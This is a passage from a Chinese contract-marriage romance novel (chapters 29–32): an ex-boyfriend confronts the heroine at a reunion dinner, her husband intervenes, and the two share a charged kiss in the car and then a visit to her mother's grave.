徐承淮道:“我的理想型是,漂亮,有锋芒,无论在哪儿都是焦点,像个小太阳一样的女孩子,不需要太温柔。我前任就是那样的一个人。可惜她回国之后就结婚了。”
他说完这句话之后,全场鸦雀无声。
这不就只差把“像您太太这样的”这几个字说出来了么。
季斯舟轻笑了声,他要是还感觉不到徐承淮在说什么,那他就不是个男人。
气氛莫名焦灼,门被推开了。
全场的目光都放在了明遥的身上。
“怎么都不吃了?”明遥开口,垂在身侧的手捏了捏裙子。
稳住,一定要稳住,别让季斯舟看出来。
季斯舟为她拉好椅子,明遥坐下。
她的目光在所有人的脸庞上扫过,当然也包括徐承淮的。
徐承淮的心中已经有了惊涛骇浪,几乎掩不住自己的冲动就要站起来。
“怎么去那么久。”
季斯舟的手放在明遥的座椅后面,维护的意味非常明显,看的其他人如梦初醒,感受到了季斯舟身上的低气压。
明遥拿出纸巾来擦擦指尖,怪季斯舟:“你不知道啊?上洗手间要收拾发型,补妆……别催。”
徐承淮的目光也定在明遥的身上,何勉察觉到部队,赶紧开口缓和:“舟哥哪里是催你,他是想你。”
明遥觉得季斯舟像是知道了。
但她不能露馅,这么多人在这,自己一个人的修罗场,不能让季斯舟也变成修罗场的一环,她淡定地拨弄了下自己的长发:“黏人。”
季斯舟:“嗯,确实,你走的太久了,老婆。”
季斯舟的声音慵懒勾人,把明遥的耳朵听的发麻。还好季斯舟和她相处的时候态度素来温和,她还稳得住。但其他的同学惊得筷子都不动了,这哪里还是那个上大学的时候的高岭之花,这分明就是……男妖精啊!
男人结婚了之后就是不一样,他居然会对自己的老婆撒娇!!!
徐承淮一言不发,只觉得那一声
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老婆格外的刺耳。
他看向明遥,得用极大的定力才喊出那声:“季太太,你和季总结了婚感觉如何。”
明遥:“在我身边的人,自然就是最好的。”
季斯舟看到徐承淮的眼神在明遥的身上徘徊,眸色渐深。
他早就知道明遥耀眼,一个成熟的男人不是用来吃醋的。而是觉得自己老婆优秀,然后去提升自己。
事实证明,他还是太看得起自己了。
徐承淮和明遥多搭句话,他心里都会觉得不痛快。
不过对明遥是气不起来的,他对明遥是一点原则都没有。听见了明遥说她先生是最好的,什么别扭都没了。
他看见了明遥往自己身边坐了坐,很诚实的肢体语言,连明遥自己都没意识到。
饭局到了尾声,季斯舟要带明遥离开,自然没人敢拦,也不敢劝酒。
方意看着季斯舟对明遥处处维护的模样,心里憋闷。
她以前单方面追逐过季斯舟很久,俗话说唯粉讨厌真嫂子,她深知季斯舟现在对明遥的特别。
所以方意有几分动摇了。
不会是,不会真的是因为喜欢吧?
大学的时候方意鼓起勇气和季斯舟告白,可是季斯舟说自己有一个喜欢了很久的人。
后来她见季斯舟和谢庭笙一起出现几次,台下都有劈天盖地的尖叫。
有一次在后台,她亲眼看见季斯舟接了谢庭笙的花,还看见谢庭笙去亲季斯舟。
从此以后,方意那悬着的心彻底的死了,她知道自己和季斯舟不可能之后,就改为追逐季斯舟和谢庭笙的脚步,捍卫他们的爱情。
可是毕业之后,季斯舟和谢庭笙居然没有在一起,再到几年后,季斯舟和明遥结婚。
明遥算什么?她经常闯祸,连公司的决策权都拿在自己继母手里,她接受不了季斯舟是喜欢这样的人而和人结的婚!
明遥在起身的时候,徐承淮捏着筷子的手开始停顿。
明遥轻轻地瞥了他一眼,就好像完全不认识他一样。
明遥和季斯舟才刚走出来,石怀珠又出来和季斯舟有事要讲,明遥对他们聊的东西不感兴趣,于是:“我去车上等你。”
季斯舟道:“我很快就来。”
她还没上车,却被一道急促的声音叫住。
“遥遥,别走!”
徐承淮喝了酒,眼睛也是红的,“你为什么要这样,怎么能一回来就嫁给季斯舟?”
他的伤心里隐隐带着怒气,眸色不再像在桌上那样冷淡,伸出手来要扣明遥的手腕,却被明遥避开。
衬衫敞开两粒扣,徐承淮的身上还喷了雅致的香水,和从前的他截然不同。
“徐承淮,你让开,我在等我先生。”明遥的语气几乎是警告,她没有和徐承淮扯东扯西的兴致,干脆想上楼,却在快要走过徐承淮的时候,被他狠狠拽过手腕。
明遥深吸一口气,没有动。
男人的力气很大,她知道自己挣不开,她冷静地没有一丝情绪,甚至连眼神也只是落在自己手腕上,而不是徐承淮的脸上。
“徐承淮,你知道我本来就不喜欢你吧。”
“体面分手,你不要搞得不愉快。”
徐承淮怕她走了,心里扎的痛,又生气:“不要说她是你先生,他懂你什么?他知道你什么?他就是你最讨厌的那种古板没花样的男人,我今天就是为了见你来的,明遥,现在的我是你喜欢的样子了。”
明遥被他的胡搅蛮缠给闹的心烦,另一只手拎起裙摆,细高跟就狠狠踩上徐承淮的鞋面。
男人吃痛放开了她,但明遥还没走两步,徐承淮又来拉她。这次力道失控,拉的明遥往前差点要栽下去。
“你发疯啊!”
“我就是想和你聊聊!”徐承淮这才看见了明遥发红的那圈手腕,语气低落,“遥遥,你到底怎么想的?对不起,我错了,当时我……你回来和我在一起,只要你在我身边就行,我们过无性婚姻也行,我不会干涉你半点,好不好?”
徐承淮低声下气地求她:“求你了,遥遥,我们之前明明相处的很愉快。”
明遥觉得他现在真像个神经病。她当时和徐承淮在一起早已说好结束,那一句不喜欢正经人都听得出是个借口,他现在变了又怎么样,和她有关系吗?
不过两个月,说什么爱的死去活来,说到底,这男人只是不甘心。
她展开自己的双手,“看见没有,我结婚了。你自重!”
那颗巨大的钻石闪痛了徐承淮的心,他忽然把明遥的手抓住:“遥遥,你所有的小脾气我都喜欢,不管怎样我都让着你,季斯舟不是那种男人,他不行的。”
他还……真是那种能让着我的男人。明遥想这么说来着,但是她怕把徐承淮刺激到当场就嗝屁了。
她的沉默在徐承淮的眼中看来,是一种受了委屈的停顿。
他更为生气:“这种商业联姻要不得,只有自由恋爱才适合你,而且他,他也不会接受你的不同。”
徐承淮没意识到自己的口不择言,可最后的半句话已经刺到了明遥的痛处,她的声音冷下来,“徐承淮,我现在真厌恶你。”
“难道不是吗?!他会接受吗?!他那样的家庭,要生孩子要有一个新的继承人,你做得到吗!”徐承淮一口气说了出来,完全不管明遥已经沉下来的神情。
直到有一道低沉的声音传来。
“那你是说,让我夫人和我离婚?”
30. 第 30 章
明遥的身体僵住了,看着不远处的男人一步一步朝自己走近。
气场浓稠而强大,叫人呼吸不过来。
她不知道季斯舟听见了多少。
季斯舟是个聪明人,他若是听见了徐承淮河自己说的那几句,猜出自己为什么和他联姻的所有细枝末节也未尝不可能。
不过是思考的瞬间,季斯舟已经走到了明遥的身边,揽过了明遥的腰。哪怕隔着衣料,明遥也能感觉到季斯舟掌间的温度,很烫。
这一瞬间,明遥的脑袋里是空的,她来不及去想自己该如何和季斯舟解释。
这次,季斯舟的黑眸直视着徐承淮,目光全是冷意。徐承淮身高也足有一米八,可是在季斯舟的面前,竟然后背攀上冷汗,一时失语,表情也僵住久久不变。
“不够体贴,也不够有家世。你又给得了她什么?”季斯舟的声音极平淡,却压制着风雨欲来。
徐承淮也是气狠了,今晚的种种在眼前浮现,让他无法平静,所以也有了和季斯舟抗争的勇气。
“你有那些又怎么样?我陪她度过那些很难的日子,我知道她的所有!而你什么也不知道!”
明遥真想脱了鞋子下来砸在徐承淮的脸上让他住嘴!什么知道所有?就看到一个自己去看心理医生也能是所有了是吧!
哪怕自己和季斯舟是合约夫妻,但也是夫妻,徐承淮这是直接在季斯舟的头上蹦迪。
她也窝火,但身体才刚往徐承淮那里去一点,那放在自己腰上的手轻轻地一碰,不知道为什么,明遥不敢动了。
“老婆。”季斯舟云淡风轻地叫她,指腹却用了点劲儿,分明是很强势,语气却在明遥面前放缓,“你是不是要重新为我介绍一下,这位是?”
明遥压根躲不开,她此时想起郑满栀告诫自己的话,当时真该听话就逃走的。现在后悔来不及了,她只能硬着头皮说:“前男友。”
徐承淮:“我是她唯一承认过的男朋友。”
“你别再出声,脑子不清醒了是吧!”什么唯一?在季斯舟面前谈唯一是想死了吗,徐承淮再多说一点,季斯舟那里肯定会更觉得自己不坦诚。
她从来都觉得在处理感情的问题上游刃有余,这次在季斯舟的面前,却开始心虚。
好头痛,这下该怎么办。要不然就先将问题全抛给季斯舟算了。
徐承淮的情绪激动,季斯舟和他形成了鲜明对比,稳的让人压根猜不出他的情绪,只听到声音冷淡:“我知道我夫人追求者许多。”
徐承淮哼笑,甚至骄傲:“是,但那些都是虚的,遥遥没有和那些人在一起过,你还需要从旁人的口中去了解她,你根本就不懂她的。哪怕你们结婚了又怎样?她和你又没有什么感情基础,不喜欢你了,离开你也随随便便——”
“你住嘴!徐承淮!你发神经!”明遥一点也听不下去,扬起手来要抽这混账东西一巴掌,最后握着拳忍住。
她是季斯舟是商业联姻的没错,也不怕别人去乱猜。可明面上,季斯舟是她的合法配偶,她容不下别的人直接来季斯舟的面前贴脸开大。
季斯舟能够忍到现在,明遥知道,完全是为了自己的面子。
还要来听徐承淮说他的不是,明遥护短,听得心里很不痛快。
“我们早就已经结束了,我也不喜欢你!不管你变成谁什么样子我都不喜欢,什么花花公子什么老古板,你搞错了。而是你这个人,我不喜欢。”明遥本着一鼓作气全说了出来,冷冷地看着狼狈的徐承淮,靠进了季斯舟的怀里,“但他不同。”
“不用他变成谁我都喜欢,你懂吗。亏你还自诩了解我,你怎么不想想,要是不喜欢,我会这样和他忽然结婚?”
明遥哼一声,大声把最后半句话说出来,“我爱他爱的要死,就想嫁他,怎样!”
季斯舟扣在她身后的手忽然收紧,将明遥更近地带入了怀中。
鼻间全是明遥身上的幽静香气,甚至到心口。
徐承淮已经被明遥的大声表白惊的表情错愕,还未反应过来,季斯舟的眸扫在了徐承淮的身上,“唯一承认过的前任,那又如何?我是她丈夫。”
“她离开你是你的问题,不是她。”季斯舟说,“你从未真正了解过她,才会失去她。”
一锤定音。
丈夫两个字,让徐承淮的酒醒了,心也如同被重锤砸下,生生发痛。
明遥说喜欢季斯舟,怎么可能,怎么可能啊?!
但是她那一瞬明艳的神情,那耀眼的钻戒和亲昵的动作,无不在向全世界展示他们的恩爱。
徐承淮的神情颓废,双目通红,眼睁睁地看着明遥和季斯舟一起坐进了车里。
车从面前的驶离,仿佛明遥也彻底从他的生命里离开。
*
明遥和季斯舟坐在车里,可是一句话也没说。
季斯舟牵着她的手,到车里还没松开。
明遥心想他可能是忘了,肯定还是生气的。她被今晚的事闹得有心无力,干脆就让季斯舟牵着,望向车窗外。
解释都不知道从哪开始。
就他们这种合作关系,还需要特地解释一下吗?
季斯舟始终没开口,面沉如水,可是明遥就是知道他生气了。也是,被一个男人这样挑衅……明遥觉得今晚气氛太差,她以为季斯舟只是不在意,于是想收回手。
可是季斯舟把她握得更紧了。
这男人居然是故意的!她一动,季斯舟将深邃的视线落在了她的身上。
明遥在这样的视线下撑不了太久,季斯舟的气场太强了,她认栽,皱眉说:“今晚的事情我也不知道,你先松开我。”
季斯舟没松开:“我有问题想问你。”
明遥微抿了唇:“你想问就问吧。”
“你们在一起的时间长吗。”
明遥:“两个月,可能两个半月。”
具体的不记得了,在她的回忆里这不是什么重要的事。
季斯舟深邃明晰的五官凝望着她。
被季斯舟这么盯着看,明遥压根忽视不了,她板着脸抽出手,放在自己的裙子上:“盯着我干什么?”
她另一只手去开车窗,但下一秒,车窗就锁住了。
这男人怎么了!
就算是自己前任来挑衅,他现在是表现自己吃醋吗?他又有什么好吃醋的?
明遥这一晚上的气憋不住了,转头就冲季斯舟说:“你生气了是吗?”
还是第一次和季斯舟之间闹的这么不愉快,明遥连季斯舟和自己之间差距都忘了。
“明明你自己刚才还说,那不是我的问题。”
“季太太,你明明刚才也说,爱我爱的要死。”季斯舟顿了下,像是无奈地听口气,“我没生气。”
季斯舟把她的手腕握住,并且拉向了自己,在说话的同时把明遥拉向了自己。
他的力道掌握的刚好,明遥双手撑在了他的大腿上,裙摆柔软的弥漫在他的西装裤之上,两人的眼睛对视,明遥只在季斯舟的眸中看见了危险两个字。
她觉得自己特别向落入虎口的小羊羔。
这男人是真的惹不起。
理智告诉她,现在赶紧躲,当个鹌鹑。
昏暗的后座里,紧张的气氛萦绕在两人身边,季斯舟就这样静静地看着她,让她觉得自己成了猎物。
她从来没和季斯舟这样拉锯过,也没这样吃瘪过,意识不允许她后退,倔强地回呛:“都这样了还说你没生气?”
明遥丝毫不知,面前男人的呼吸沉沉,危险的不止是表面。
下一瞬,季斯舟的指尖忽然捏上了明遥的下巴,微抬。
两人视线相对,不容退却。
力道很轻,不痛,和徐承淮的粗鲁不同。
和季斯舟的距离一拉近,明遥闻到了一点他身上的酒味。他们的身体没有靠在一起,可明遥却感受到了季斯舟的体温已经传来。
撑在季斯舟腿上的掌心清楚地感觉到肌肉的紧绷,和她柔软的肌肤形成鲜明对比,力量正在迸发。
“明遥,在你心里我是个什么样的人?”他开口,声音里的情绪太多,层层叠叠,沉入昏重的夜色。
明遥只想到了在聚会上,方意和谢庭笙变着法子的说自己配不上他。自己还没开始闹他,季斯舟这是先发制人的问上了吗。
她的手腕还扣在季斯舟的掌中,明遥恼怒地看着他,不甘示弱道:“季先生当然是个脾
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气温和儒雅的绅士,很多人都喜欢你。”
季斯舟自然听得出来她在说反话刺他,他低声笑了笑。
“但却是你最不喜欢的那种古旧严肃的男人,是吗?”
“季斯舟!”明遥生起气来,一张小脸反而更显生动,她知道季斯舟肯定在自己和徐承淮后面听了许久,所有聊天的内容都听去了。
他还笑。
看到自己被前男友纠缠他有什么好笑的?
明遥气急了,真想一口咬住他。
她深呼吸两次,强迫自己冷静:“季斯舟,你到底要干什么。”
现在给她一个合理的解释,明遥还能当做只是他喝醉了犯浑。等明天一觉醒来,他还是那个温沉的绅士。
绅士?
他从来都不是。
看来平时还是藏得太好,让太太可以在他的脑袋上蹦迪。
“明遥,你可能对我有一点误解。”
季斯舟另一只空出的手放在了明遥的后脖颈,微微用劲,让明遥的身体和自己更为紧贴。
他们的鼻尖几乎相碰,明遥的睫毛极长,绒绒的触感在睁大眼睛时拂过他的脸颊。
很痒。
他盯着明遥:“一个你口中的绅士,不会这样在车里挑逗自己的太太。”
明遥躲不开,热意弥漫,她在这瞬间竟然忘了,自己和季斯舟不该这样,他们不是真正的夫妻!
因为季斯舟的动作,明遥也发现自己和季斯舟离得太近了,她的呼吸不稳,声音也显出几分焦急。
“你知道你在说什么吗。”
季斯舟喝醉了。
一定是,她在酒局上看季斯舟一直面色如常,还以为他酒量好,这么看来不过是装的好。
他很危险,比自己看见的危险很多。
明遥知道自己不能和季斯舟硬扛,她和季斯舟的力量这么悬殊,此时此刻,她知道了季斯舟以前对自己有多宽厚。
季斯舟的呼吸也在她的脸颊和鼻尖,身上除去酒味也有香气,很淡,像冰川森林,在侵占着她的鼻息。
季斯舟一言不发,明遥挣了一下,身体却被牢牢地控制在季斯舟的掌心。
这男人真当自己不会咬他是吧!
在对视中,季斯舟没有落败,只是低低叹口气:“明遥,我看不懂你。”
多年的旁观,在此刻化成碎片,季斯舟第一次询问自己,是否做错了。
是否浪费了那么多年,才让别的男人到面前来指责自己:
你懂什么?你知道她吗?你有过那些陪她的回忆吗?
他该如何告诉明遥。
自己就是个普通的男人,在徐承淮到自己面前说起那些和明遥的过往。
季斯舟心里嫉妒的发疯,此刻他就是个普通的男人,为自己没有参与到明遥的过去而气闷。
可是这些全都不能马上告诉明遥,会吓着人。
明遥的心跳地越来越快,季斯舟可能没察觉到自己的力道变大,几乎是箍着她。
她难受的不行,又热,又潮,仿佛被汹涌的浪潮覆盖。身体也不敢动,她只能低骂他一句,“伪君子!”
“那我和你展示一下,什么叫做伪君子。”季斯舟的手扣上了明遥的腰,将她压向了自己。
他的心跳极快,在这瞬间,连季斯舟都看不透自己,全是本能在行动。
下一秒,明遥的唇,和他的唇碰到了一起。
柔软相贴,香气澎湃。
他不仅是个伪君子,还是个卑鄙的小人。
季斯舟的气息生硬地挤入,占据所有。
明遥的眼睛睁圆了,那双漂亮的双眸亮如繁星,眼底尽是委屈。
无数情绪在看见明遥的目光时在瞬间撤离了他的胸膛,季斯舟原本禁锢的手劲在瞬间松开。
他给了明遥离开的权利。
但明遥一动不动。
她刚才没反应过来的双手,从撑住他腿的姿势改为抓住了他肩膀,衬衫的扣子扯开。
明遥张开唇,狠狠咬了季斯舟一口,血腥味在他口腔里散开。
明遥还没从他身上下来,语气是冷的,眼尾全是动人的红色,抬眸,“季斯舟,这就是我。满意了吗?”
31. 第 31 章
季斯舟的嘴巴被她咬破了。
明遥咬完就分开。
她不服输地看向季斯舟,有几分破罐子破摔的意思。
怎么会在车里和季斯舟接吻?还不是因为季斯舟刚刚说的话让她觉得不痛快?
她和季斯舟分明说好了互不动心……现在双双破戒,明遥在那一瞬间没考虑任何后果。
总之就是不能让季斯舟欺负,他刚刚那样不就是在欺负她。说自己是伪君子,以为自己不敢?
刚刚和她接吻的季斯舟,看起来居然那么蛊。
哪怕刚才他亲的很克制,可还是让明遥感觉到了隐藏的凶猛。
季斯舟还贴在她后颈的手,忽然轻轻捏了捏,像安抚。
她捏着季斯舟的衬衫,不知道自己的声音在这场对峙中早就不是自己想象的强势,而像是娇哼。
季斯舟低声说:“我不希望以后每一次和你接吻,还要吵架。”
明遥下了重口,季斯舟唇上的伤口很红。这伤一下好不了,是明遥的战利品,丈夫的勋章。
如果不是怕明遥不好意思,他会想炫耀。
明遥很生气,忘了两人之间的旖旎暧昧,也没意识到季斯舟说的是不想吵架,而不是不想她咬他。
“谁之后要和你接吻了。”
她的小腿跪上来,在皮质座椅的一边,无意识地碰上了季斯舟。
季斯舟的视线垂落在她隐匿在裙间的白皙,忽而笑了一声:“这是回应?”
他的指腹轻触自己唇上的伤口。
明遥瞬间无言,垂下眼去,季斯舟微偏过头看她,像哄人一样:“你先坐好。”
再这样在他腿上,怀里,季斯舟没办法把握自己等会儿的行动。
明遥呼吸一滞,在下一秒明白了季斯舟的言外之意。她立马乖乖在边上坐好,想骂季斯舟,但是看到男人唇边残余着自己的口红,又……一个字都讲不出。
不对,都不对了,她和季斯舟不该这样的。
车辆仍旧在平稳行驶,隔板早就升上来了,这后面成了季斯舟和明遥独处的小空间,也让她格外的焦灼。
不太对。
明遥深呼吸几许,还是给自己做好了心理建设。
她居然觉得刚才季斯舟接吻的感觉很不错。
“我们扯平了,”季斯舟说:“是不是该重新认识一下?”
明遥问:“季斯舟,你喜欢我吗?”
季斯舟的眸色一暗,但明遥没有看他,自然不知道季斯舟的神色。她将季斯舟的沉默当成拒绝,加上今晚又喝了酒。
原来还有几分提心吊胆,现在放心下来,明遥转头去看他,冷哼道:“我们刚刚只是用嘴巴打了一架。”
季斯舟眼眸深沉,在心底好一番劝说才让自己接受了这句话:“是因为我不是你喜欢的类型,所以你才这样讲。”
所以他还在在意之前大家说的那句明遥从来喜欢严肃的类型!
这男人怎么可以这么记仇啊?明遥快气笑了,小心眼。这个吻是他记仇所以才失控亲下来的?
明遥道:“不,是我们有合约在身。”她不介意和季斯舟直接打破天窗说亮话,“我们本来就是假的,不必做到这一步。”
“可你没有损失。”季斯舟又变回了之前那平稳温和的样子,“如果是我动心,你同样不会有损失。”
话是这样说,没错。
合约中并未规定动心后明遥如何赔付,只写了季斯舟的。
明遥忽然有点不喜欢看到季斯舟这种自持又稳重的模样,明明刚刚才接过吻,他现在除了嘴巴上的伤口,别的什么也看不出。
就是很不喜欢他这种一点也不失控的样子,现在就可以面沉如水的继续和自己聊起合同。
季斯舟道:“明遥,你不妨对我多信任一些。若是愿意,你就做你自己。不需要有什么改变,若是不愿意,我也不会阻拦你。”
季斯舟看她的样子,像是可以包容一切,在那一瞬间,明遥觉得他好像可以包容一切。但是理智回笼之后,她又明白,不是时候。
徐承淮起码有一点说对了。
自己和季斯舟是在全无感情基础的情况下结的婚,她的种种状态,都不能在现在就全盘托出。
想到这里明遥就有点恹恹的,也不想讲话,她和季斯舟接吻就像打架,这完全出乎了自己的意料。
季斯舟坐的端正,连刚才扯开的衬衫纽扣也已经扣好了。刚才那个吻她的人仿佛是错觉。
季斯舟还想说点什么的时候,明遥猛然开口:“不想和你说话,我要去墓园。”
对于妻子忽然涌来的情绪,季斯舟选择接受。
明遥有自己的小秘密。
在出国之前,她如果有自己苦恼迷茫的时刻,就会去墓园。
她从不觉得那里是冷冰冰的地方,那里埋葬着母亲。
她想要独处的空间,于是季斯舟给予尊重,没有和明遥一同上前,而是在不远处静静地等待。
明遥蹲下来喃喃:“妈,你觉得他怎么样?”
“我觉得他很糟糕……”她的声音低下去,伸手擦了擦自己的唇,另一只手眷恋地轻抚上面女人的照片,“我不喜欢他,但是我好像喜欢和他过招。”
她不知想到了什么,忽然笑了一下,“妈,这次是不是会真的可以呢?”
夏夜,远郊的墓园里阵阵蝉鸣,无人回答她。
明遥自己独自来过许多次墓园,那时候年轻,又想念母亲,甘佳君来了之后,她再也不会和父亲敞开心扉。
许多苦闷的少女心事,她自己一个人到墓园来说给母亲听。
白天,傍晚,黑夜。
她都来过。
每次都是一个人,安静,她那时候倔强,还不承认自己孤单。
除去今夜——
她只要一回头,就能看见在等她的人。
从她回国参加父亲的葬礼开始,季斯舟经常就这样在自己的身后等着,她竟然能感觉到心安。
也是有了季斯舟在自己身边的对比,明遥才意识到,原来那个时候的自己是孤单的。
她回头去看到远处的季斯舟,心里微微一动。
这里是郊区,环境很好,星光璀璨,能见度很高。
“以前还有人来这里观测银河。”明遥看到季斯舟走过来。
刚好,树上忽然下来很多萤火虫,飘飘洒洒地在夜色中弥漫开。季斯舟走到明遥身边的时候,刚好有几只萤火虫停留在他的肩头。
季斯舟道:“你知道?”
“嗯,知道,之前有听这边的工作人员说起过。”明遥出神地望着面前的萤火虫,“我以前来的时候,这里就经常有大片的萤火虫。现在已经很多年了,竟然还有。”
季斯舟道:“这边很适合萤火虫。”
明遥和他面对面站着,心底的那些气在此刻消失了。她的动作随心,伸手去季斯舟的脸上捏了一下:“季斯舟,你有点不像真人。”
他身上在发光。
季斯舟道:“我不是鬼,你放心。”
明遥笑出了声,两人之间的气氛重归与好,带上轻松。
她唇边有了隐隐的笑意,两人谁也没有说起刚刚的那个吻。
季斯舟陪着明遥看了一会儿萤火虫,没有催促她,直到明遥自己说回家。
今晚情况特殊,明遥心中有隐隐的悸动,她需要一些时间把自己的头绪捋清楚。
季斯舟送她到门口,走前明遥对他说:“你明天别让人送菜了,我要去买菜。”
“好。”季斯舟点头。
这天晚上,明遥收到了季斯舟发来的晚安。
她把手机贴在身上,望着天花板。好难……这段时间季斯舟和自己一直是各过各的,聊天的内容也没有越界,不会互道晚安。
他不发,她当然也不发。
想了想,不回还是显得有点不礼貌,她在输入框里打晚安,自动联想出来一个晚安小人挥动双手说晚安的表情包,明遥没想太多,顺便就点击发送。
两秒之后。
一个晚安小人,结果在表情包快结束的末尾居然抛出了一个飞吻!大大的红唇和小爱心在小小的动态图里疯狂弹射,消失。
本来两人都已经很默契地没提起的吻,在此刻重新回到了明遥的脑海,她顿觉尴尬,手速飞快,马上就把那个表情包给撤回。
再去发送,自己去挑选了另一个。
一个小黄人弹射进被子的。
绝对没有红唇。
季斯舟同时发来:【过两天要降温了,晚上注意些。】
明遥木着脸,公事公办地回复:【好的,你也是。】
只要两人不说,她就当这个表情包只是简单手误。
收起手机,睡觉就什么也不想。
第二天,明遥在下班之后去买了一条真正的澳洲大龙虾,上次的乌龙事件她一直惦记着。
提着食材打开门,系着围裙的季斯舟过来迎接她。
明遥:“……”是什么是诱惑力?诱惑力就是上了一天的班之后,在家里看到了一个性感厨男。
季斯舟很自然地接过明遥手里的袋子,认出来了:“澳龙,还特地去买。”
明遥点头,换鞋进来:“嗯,上次搞错了,所以赔给你的,做一个咱俩都能吃的口味吧。”
“谢谢你把我的话记下来了。”季斯舟说,“做个清蒸的,刚好我们两个都可以吃,加蘸料。”
明遥懂的,这是俗称的高端的食材只需要简单的烹饪。
她往沙发上一躺,“接下来的事情就交给你了,厨艺我真的不擅长,不想把这个高端的食材给毁了。”
季斯舟失笑,“你休息吧。”
他拿出平板,研究了一下今天的菜谱。家里的厨具崭新,在季斯舟的手中如同艺术品,刷刷刷地就把食材搞定了。
一个小时之后,明遥吃上了晚餐,清蒸澳龙,上汤丝瓜,蒜薹炒肉末。
香,这也太香了。
季斯舟好像有点做菜的天赋,明遥吃得心服口服,觉得自己下次还能蹭饭。说实在的,要换了她之前在国外留学的那段时间,季斯舟来自己的身边说能给自己做饭。
不用那份合约的约束自己也能答应。
饭吃到尾声,季斯舟放在桌上的手机响了,是母亲方姿拨来的视频通话,季斯舟自然接了。
明遥拿着勺子在喝汤,听见了方姿的声音,心说还说今天两人在一起吃饭,没露馅。
“这周末一定要带遥遥回来吃饭了,半个月没回来了!”方姿怪季斯舟,“上回还听你林叔叔说,你工作忙的连滑雪场都没带遥遥过去,结婚的时候是怎么和你讲的,你怎么现在……”
季斯舟知道方姿得念叨他,倒也温润地听着。
他对
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家人的耐性挺足,明遥还是在喝汤,一边悄悄地打量季斯舟。
好在说归说,没自己的事。
“你这嘴是怎么了?”方姿看到了季斯舟嘴上已经结痂的伤口,明遥忽的一下呛咳。
季斯舟立马从对面走到她身边来帮她拍背,明遥自然而然地入了镜,她压着咳,尴尬地把自己埋进碗里。
“昨晚上喝水不小心磕的。”季斯舟平静地说,手上动作没有停下。
方姿不信:“到底怎么回事?昨晚上你干什么去了,要是敢再外头……我和你爸打断你的腿!”
明遥听方姿像真生气了,忙不迭把季斯舟的手机接过来解释:“阿姨,你别怪他了,昨晚上他陪着我在看萤火虫,真的是不小心磕到的,等周末我们就一起回来吃饭。”
方姿看到吃的腮帮子鼓鼓的明遥就高兴,喜笑颜开道:“好好好,不和他计较。上回见宜还说去了你们家里送摆台,用上没有?”
明遥自然起身去玄关处拍给方姿看。
方姿笑道:“真般配,我昨天去做美容,那些富豪太太有哪个不说我媳妇儿漂亮的呀,羡慕死她们哦。”
被方姿俏皮的话逗笑,两人又聊了会儿才挂电话。
坐回到餐桌上,季斯舟接了手机,“还好吗?还要难为你为我解释。”
本来昨天的时刻就各自都有责任……明遥摇头,掩饰掉自己摇人的心虚:“不会,我喜欢和阿姨聊天的。”
自己的饭搭子解决一点生活苦恼,那还不是附带的,轻轻松松。
饭后根据两人习惯,出去遛弯和倒垃圾,然后各自回家。整一周她和季斯舟都是这样。
工作上,因为签下了郑满栀的代理权,她们部门正在安排新的方案,明遥很忙。
下了班的生活又有季斯舟的照料,明遥趋于习惯,也把那晚季斯舟和自己的失控抛之脑后。
每次季斯舟都比她回的早,推门就看见他穿上围裙在切菜。
明遥叹息,这就是婚后生活吗?好像比她想象中的要舒服很多。
周五临近下班的点,明遥拿起手机看了一眼,眼皮忽然一跳。下一刻,敲门声响起。
钟茗茗出现了,但神情明显不安:“明经理,有人来找你。他……他在会客厅等着见你。”
她见钟茗茗那欲言又止的模样就知道来人肯定是自己不想见的,不过业务已经找上门,明遥没有退缩的道理。
就是这个时间点,明遥出去的时候啧了声,心头有些不悦。很不喜欢耽误她下班去吃饭的人,这位神秘客户最好是有真东西给她看。
进了会客厅,她见到徐承淮其实没有多大意外。但是那份不悦被放大了,她冷着脸,甚至不想在椅子上坐下。
看见来人是徐承淮,这生意明遥都不想做了。
“你来干什么?”
徐承淮看到她的眼神,有些局部地拧眉,苦笑道:“遥遥……你就这么不想看见我?来找你自然是有事情让你帮忙。”
那晚和季斯舟的交锋,那男人的只要轻飘飘说出老公两个字,就让他的自尊心在地上反复碾压。更别提明遥亲口说爱季斯舟爱到不行,他知道自己已经深深落败,起码在那一晚是的。
他明白自己根本比不过季斯舟,季斯舟想要对付他就如同踩死一只蚂蚁。
“国内能做藏品评估的不止我一家。”明遥冷漠地看着他,“还有,你的称呼该换一换了,别这么喊我。”好像两人有多亲密似的,她不喜欢别人的误会,也讨厌一切藕断丝连。
“明遥。”见她起身,徐承淮也着急地起来,情急之下他拉了一下明遥的手,不想让明遥现在就走。
这会客厅是开放式的,全透的玻璃亮如明镜,外头本来还在等待着摸鱼下班的员工见到这一幕,视线立刻不停地往明遥和徐承淮这边瞥。
大新闻!这不是前任找上门么!
公司的内部群里很快开始讨论,不知有谁拍下了徐承淮抓住明遥手腕的照片,顿时疯传。
那角度刁钻的刚好,竟然流露出显而易见的暧昧氛围。
而会客厅的两人还不知道。
明遥将徐承淮的手甩开提上包就走,徐承淮在后面急声:
我家有一件藏品之前被低价买走之后重新到我手上,现在我想把它进行拍卖,只要你来鉴定评估我才放心。”
“你先看一眼图片!”
徐承淮拿出手机,早已准备好的图片递到明遥的面前。
这是一只通体碧绿的如意祥云簪,没打光,是簪子自己透着莹润的光泽。
明遥只是轻轻一扫,就知道这生意她得做。
见她停住,徐承淮就知道事情还能有转圜的余地。
“我们原来的代理公司想要在中值拍卖行进行拍卖,估值五百万,五百五十万起拍,可我们不同意,所以始终没有谈妥,现在需要另一家公司的接手,我选择你。”徐承淮说,“和我们之前的事无关,我是信任你的能力。”
明遥看着徐承淮半晌,似乎要从他的脸上找出丁点破绽来,最后才放缓:“明天再来,现在我要下班了。”
而明遥和徐承淮的那张照片在内部群被删除,却在私下还被八卦议论着。
也不知是谁发到了谢庭笙的手机上,她看了一眼,找到季斯舟的联系方式发了过去。
【舟哥,你老婆怎么和我们导师的男朋友这么不清不楚。】
32. 第 32 章
明遥回了家,第一时间进厨房洗手,和季斯舟打招呼。
“今天吃什么?”
季斯舟笑:“是之前就订好的菜谱,不是写在冰箱上了么?”
明遥的手上都是泡沫,没去看,季斯舟又道:“蒜蓉虾滑煲,口蘑鸡胸肉和一个冬瓜汤,下下火。”
他指着养生壶里的花茶:“已经放凉了,你可以喝一点。”
茶很清甜,应该还放了水果,明遥一次性吨吨吨了大半杯,惬意地呼出一口凉气:“好喝!每天都吃的这么丰盛,感觉必须加入新的健身计划了。”
以前怎么没发现季斯舟这人这么居家?
她是个不易吃胖体质,又吃的很简单,从来没胖过,之前没有特地去制定过什么健身计划。
